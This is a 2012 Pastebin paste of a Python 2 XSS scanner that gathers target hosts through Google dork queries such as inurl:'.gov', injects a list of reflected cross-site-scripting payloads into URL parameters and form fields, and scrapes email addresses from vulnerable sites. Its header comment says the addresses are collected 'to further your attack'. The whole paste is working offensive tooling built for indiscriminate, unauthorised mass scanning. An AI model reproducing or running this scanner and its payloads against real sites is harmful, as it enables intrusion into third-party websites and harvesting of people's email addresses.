khalilasharen

xss scanner dengan menggunakan python

Apr 21st, 2012
188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.46 KB | None | 0 0
  1. #!/usr/bin/python
  2. #XSS Scanner that can find hosts using a google query or search one site.
  3. #If XSS is found it attempts to collect email addresses to further your attack
  4. #or warn the target of the flaw. When the scan is complete
  5. #it will print out the XSS's found and or write to file, it will find false positives
  6. #so manually check before getting to excited. It also has verbose mode and
  7. #you can change the alert pop-up message, check options!!
  8. #
  9. ##Changelog v1.1: added options, verbose, write to file, change alert
  10. #Changelog v1.2: added more xss payloads, an exception, better syntax, more runtime feedback
  11. #Changelog v1.3: added https support, more xss payloads, the ability to change port, fixed #some user input problems, exiting without error messages with Ctrl-C (KeyboardInterrupt)
  12. #
  13. #d3hydr8[at]gmail[dot]com
  14.  
  15. import sys, urllib2, re, sets, random, httplib, time, socket
  16.  
  17. def title():
  18. print "\n\t d3hydr8[at]gmail[dot]com XSS Scanner v1.3"
  19. print "\t-----------------------------------------------"
  20.  
  21. def usage():
  22. title()
  23. print "\n Usage: python XSSscan.py <option>\n"
  24. print "\n Example: python XSSscan.py -g inurl:'.gov' 200 -a 'XSS h4ck3d' -write xxs_found.txt -v\n"
  25. print "\t[options]"
  26. print "\t -g/-google <query> <num of hosts> : Searches google for hosts"
  27. print "\t -s/-site <website> <port>: Searches just that site, (default port 80)"
  28. print "\t -a/-alert <alert message> : Change the alert pop-up message"
  29. print "\t -w/-write <file> : Writes potential XSS found to file"
  30. print "\t -v/-verbose : Verbose Mode\n"
  31.  
  32. def StripTags(text):
  33. finished = 0
  34. while not finished:
  35. finished = 1
  36. start = text.find("<")
  37. if start >= 0:
  38. stop = text[start:].find(">")
  39. if stop >= 0:
  40. text = text[:start] + text[start+stop+1:]
  41. finished = 0
  42. return text
  43.  
  44. def timer():
  45. now = time.localtime(time.time())
  46. return time.asctime(now)
  47.  
  48. def geturls(query):
  49.  
  50. counter = 10
  51. urls = []
  52.  
  53. while counter < int(sys.argv[3]):
  54. url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
  55. opener = urllib2.build_opener(url)
  56. opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
  57. data = opener.open(url).read()
  58. hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
  59. #Lets add sites found to a list if not already or a google site.
  60. #We don't want to upset the people that got our list for us.
  61. for x in hosts:
  62. if x.find('www') != -1:
  63. x = x[x.find('www'):]
  64. if x not in urls and re.search("google", x) == None:
  65. urls.append(x)
  66. counter += 10
  67. return urls
  68.  
  69. def getemails(site):
  70.  
  71. try:
  72. if site.split("/",1)[0] not in done:
  73. print "\t[+] Collecting Emails:",site.split("/",1)[0]
  74. webpage = urllib2.urlopen(proto+"://"+site.split("/",1)[0], port).read()
  75. emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
  76. done.append(site.split("/",1)[0])
  77. if emails:
  78. return emails
  79. except(KeyboardInterrupt):
  80. print "\n[-] Cancelled -",timer(),"\n"
  81. sys.exit(1)
  82. except(IndexError):
  83. pass
  84.  
  85. def getvar(site):
  86.  
  87. names = []
  88. actions = []
  89. print "\n","-"*45
  90. print "[+] Searching:",site
  91. try:
  92. webpage = urllib2.urlopen(proto+"://"+site, port).read()
  93. emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
  94. var = re.findall("\?[\w\.\-/]*\=",webpage)
  95. if len(var) >=1:
  96. var = list(sets.Set(var))
  97. found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
  98. found_action = list(sets.Set(found_action))
  99. if len(found_action) >= 1:
  100. for a in found_action:
  101. a = a.split('"',2)[1]
  102. try:
  103. if a[0] != "/":
  104. a = "/"+a
  105. except(IndexError):
  106. pass
  107. actions.append(a)
  108. found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
  109. found_names = list(sets.Set(found_names))
  110. for n in found_names:
  111. names.append(n.split('"',2)[1])
  112. print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
  113. print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))*len(xss_payloads)
  114. if len(var) >= 1:
  115. for v in var:
  116. if site.count("/") >= 2:
  117. for x in xrange(site.count("/")):
  118. for xss in xss_payloads:
  119. tester(site.rsplit('/',x+1)[0]+"/"+v+xss)
  120. for xss in xss_payloads:
  121. tester(site+"/"+v+xss)
  122.  
  123. if len(names) >= 1:
  124. for n in names:
  125. if site.count("/") >= 2:
  126. for x in xrange(site.count("/")):
  127. for xss in xss_payloads:
  128. tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+xss)
  129. for xss in xss_payloads:
  130. tester(site+"/"+"?"+n+"="+xss)
  131.  
  132. if len(actions) != 0 and len(names) >= 1:
  133. for a in actions:
  134. for n in names:
  135. if site.count("/") >= 2:
  136. for x in xrange(site.count("/")):
  137. for xss in xss_payloads:
  138. tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+xss)
  139. #tester(site.split("/")[0]+a+"?"+n+"="+xss)
  140.  
  141. if len(actions) != 0 and len(var) >= 1:
  142. for a in actions:
  143. for v in var:
  144. if site.count("/") >= 2:
  145. for x in xrange(site.count("/")):
  146. for xss in xss_payloads:
  147. tester(site.rsplit('/',x+1)[0]+a+v+xss)
  148. else:
  149. for xss in xss_payloads:
  150. tester(site.split("/")[0]+a+v+xss)
  151. if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
  152. urls.remove(site)
  153.  
  154. except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror):
  155. if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
  156. urls.remove(site)
  157. pass
  158. except(KeyboardInterrupt):
  159. print "\n[-] Cancelled -",timer(),"\n"
  160. sys.exit(1)
  161.  
  162. def tester(target):
  163.  
  164. if verbose ==1:
  165. if message != "":
  166. print "Target:",target.replace(alert ,message)
  167. else:
  168. print "Target:",target
  169.  
  170. try:
  171. source = urllib2.urlopen(proto+"://"+target, port).read()
  172. h = httplib.HTTPConnection(target.split('/')[0], int(port))
  173. try:
  174. h.request("GET", "/"+target.split('/',1)[1])
  175. except(IndexError):
  176. h.request("GET", "/")
  177. r1 = h.getresponse()
  178. if verbose ==1:
  179. print "\t[+] Response:",r1.status, r1.reason
  180. if re.search(alert.replace("%2D","-"), source) != None and r1.status not in range(303, 418):
  181. if target not in found_xss:
  182. if message != "":
  183. print "\n[!] XSS:", target.replace(alert ,message)
  184. else:
  185. print "\n[!] XSS:", target
  186. print "\t[+] Response:",r1.status, r1.reason
  187. emails = getemails(target)
  188. if emails:
  189. print "\t[+] Email:",len(emails),"addresses\n"
  190. found_xss.setdefault(target, list(sets.Set(emails)))
  191. else:
  192. found_xss[target] = "None"
  193. except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL):
  194. pass
  195. except(KeyboardInterrupt):
  196. print "\n[-] Cancelled -",timer(),"\n"
  197. sys.exit(1)
  198. except():
  199. pass
  200.  
  201. if len(sys.argv) <= 2:
  202. usage()
  203. sys.exit(1)
  204.  
  205. for arg in sys.argv[1:]:
  206. if arg.lower() == "-v" or arg.lower() == "-verbose":
  207. verbose = 1
  208. if arg.lower() == "-w" or arg.lower() == "-write":
  209. txt = sys.argv[int(sys.argv[1:].index(arg))+2]
  210. if arg.lower() == "-a" or arg.lower() == "-alert":
  211. message = re.sub("\s","%2D",sys.argv[int(sys.argv[1:].index(arg))+2])
  212.  
  213. title()
  214. socket.setdefaulttimeout(3)
  215. found_xss = {}
  216. done = []
  217. count = 0
  218. proto = "http"
  219. alert = "D3HYDR8%2D0wNz%2DY0U"
  220. print "\n[+] XSS_scan Loaded"
  221. try:
  222. if verbose ==1:
  223. print "[+] Verbose Mode On"
  224. except(NameError):
  225. verbose = 0
  226. print "[-] Verbose Mode Off"
  227. try:
  228. if message:
  229. print "[+] Alert:",message
  230. except(NameError):
  231. print "[+] Alert:",alert
  232. message = ""
  233. pass
  234.  
  235. xss_payloads = ["%22%3E%3Cscript%3Ealert%28%27"+alert+"%27%29%3C%2Fscript%3E",
  236. "%22%3E<IMG SRC=\"javascript:alert(%27"+alert+"%27);\">",
  237. "%22%3E<script>alert(String.fromCharCode(68,51,72,89,68,82,56,45,48,119,78,122,45,89,48,85));</script>",
  238. "'';!--\"<%27"+alert+"%27>=&{()}",
  239. "';alert(0)//\';alert(1)//%22;alert(2)//\%22;alert(3)//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(%27"+alert+"%27)%3C/SCRIPT%3E=&{}%22);}alert(6);function",
  240. "</textarea><script>alert(%27"+alert+"%27)</script>"]
  241. try:
  242. if txt:
  243. print "[+] File:",txt
  244. except(NameError):
  245. txt = None
  246. pass
  247. print "[+] XSS Payloads:",len(xss_payloads)
  248. if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
  249. try:
  250. if sys.argv[3].isdigit() == False:
  251. print "\n[-] Argument [",sys.argv[3],"] must be a number.\n"
  252. sys.exit(1)
  253. else:
  254. if int(sys.argv[3]) <= 10:
  255. print "\n[-] Argument [",sys.argv[3],"] must be greater than 10.\n"
  256. sys.exit(1)
  257. except(IndexError):
  258. print "\n[-] Need number of hosts to collect.\n"
  259. sys.exit(1)
  260. query = re.sub("\s","+",sys.argv[2])
  261. port = "80"
  262. print "[+] Query:",query
  263. print "[+] Querying Google..."
  264. urls = geturls(query)
  265. print "[+] Collected:",len(urls),"hosts"
  266. print "[+] Started:",timer()
  267. print "\n[-] Cancel: Press Ctrl-C"
  268. time.sleep(3)
  269. while len(urls) > 0:
  270. print "-"*45
  271. print "\n[-] Length:",len(urls),"remain"
  272. getvar(random.choice(urls))
  273. if sys.argv[1].lower() == "-s" or sys.argv[1].lower() == "-site":
  274. site = sys.argv[2]
  275. try:
  276. if sys.argv[3].isdigit() == False:
  277. port = "80"
  278. else:
  279. port = sys.argv[3]
  280. except(IndexError):
  281. port = "80"
  282. print "[+] Site:",site
  283. print "[+] Port:",port
  284. if site[:7] == "http://":
  285. site = site.replace("http://","")
  286. if site[:8] == "https://":
  287. proto = "https"
  288. if port == "80":
  289. print "[!] Using port 80 with https? (443)"
  290. site = site.replace("https://","")
  291. print "[+] Started:",timer()
  292. print "\n[-] Cancel: Press Ctrl-C"
  293. time.sleep(4)
  294. getvar(site)
  295.  
  296. print "-"*65
  297. print "\n\n[+] Potential XSS found:",len(found_xss),"\n"
  298. time.sleep(3)
  299. if txt != None and len(found_xss) >=1:
  300. xss_file = open(txt, "a")
  301. xss_file.writelines("\n\td3hydr8[at]gmail[dot]com XSS Scanner v1.3\n")
  302. xss_file.writelines("\t------------------------------------------\n\n")
  303. print "[+] Writing Data:",txt
  304. else:
  305. print "[-] No data written to disk"
  306. for k in found_xss.keys():
  307. count+=1
  308. if txt != None:
  309. if message != "":
  310. xss_file.writelines("["+str(count)+"] "+k.replace(alert ,message)+"\n")
  311. else:
  312. xss_file.writelines("["+str(count)+"] "+k+"\n")
  313. if message != "":
  314. print "\n["+str(count)+"]",k.replace(alert ,message)
  315. else:
  316. print "\n["+str(count)+"]",k
  317. addrs = found_xss[k]
  318. if addrs != "None":
  319. print "\t[+] Email addresses:"
  320. for addr in addrs:
  321. if txt != None:
  322. xss_file.writelines("\tEmail: "+addr+"\n")
  323. print "\t -",addr
  324. print "\n[-] Done -",timer(),"\n"
Advertisement
Add Comment
Please, Sign In to add comment